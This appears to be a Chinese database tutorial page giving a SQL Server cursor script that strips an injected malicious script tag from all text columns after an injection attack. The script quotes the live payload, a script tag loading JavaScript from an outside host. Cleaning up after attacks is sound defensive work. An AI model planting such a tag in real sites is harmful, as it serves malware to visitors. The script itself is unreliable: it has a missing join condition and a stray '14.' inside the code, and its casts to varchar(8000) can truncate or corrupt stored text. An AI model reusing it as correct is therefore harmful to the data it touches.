解析:清除SQL被注入恶意病毒代码的语句

所属分类: 数据库 / MsSql 阅读数: 984
收藏 0 赞 0 分享
在SQL查询分析器执行以下代码就可以了。
复制代码 代码如下:

declare @t varchar(255),@c varchar(255)
declare table_cursor cursor for select a.name,b.name
from sysobjects a,syscolumns b ,systypes c
where a.id=b.id and a.xtype='u' and c.name
in ('char', 'nchar', 'nvarchar', 'varchar','text','ntext')
declare @str varchar(500),@str2 varchar(500)
set @str='<mce:script src="http://r01.3322.org/c.js" mce_src="http://r01.3322.org/c.js"></mce:script>'/*要替换的内容*/
set @str2=''
open table_cursor
fetch next from table_cursor
into @t,@c while(@@fetch_status=0)
begin exec('update [' + @t + '] set [' + @c + ']=replace(cast([' + @c + '] as varchar(8000)),'''+@str+''','''+ @str2 +''')')
fetch next from table_cursor 14.into @t,@c end close table_cursor deallocate table_cursor
更多精彩内容其他人还在看

SQL SERVER的优化建议与方法

SQL SERVER的优化建议与方法
收藏 0 赞 0 分享

简单的SQL Server备份脚本代码

简单的SQL Server备份脚本代码
收藏 0 赞 0 分享

sql基本函数大全

sql基本函数大全
收藏 0 赞 0 分享

SQL查询语句精华使用简要第1/2页

SQL查询语句精华使用简要
收藏 0 赞 0 分享

数据库分页存储过程代码

数据库分页存储过程代码
收藏 0 赞 0 分享

SQL查询连续号码段的巧妙解法

SQL查询连续号码段的巧妙解法
收藏 0 赞 0 分享

sql server中千万数量级分页存储过程代码

sql server中千万数量级分页存储过程代码
收藏 0 赞 0 分享

sql2000各个版本区别总结第1/3页

sql2000各个版本区别总结
收藏 0 赞 0 分享

如何远程连接SQL Server数据库图文教程

如何远程连接SQL Server数据库图文教程
收藏 0 赞 0 分享

一个SQL语句获得某人参与的帖子及在该帖得分总和

一个SQL语句获得某人参与的帖子及在该帖得分总和
收藏 0 赞 0 分享
查看更多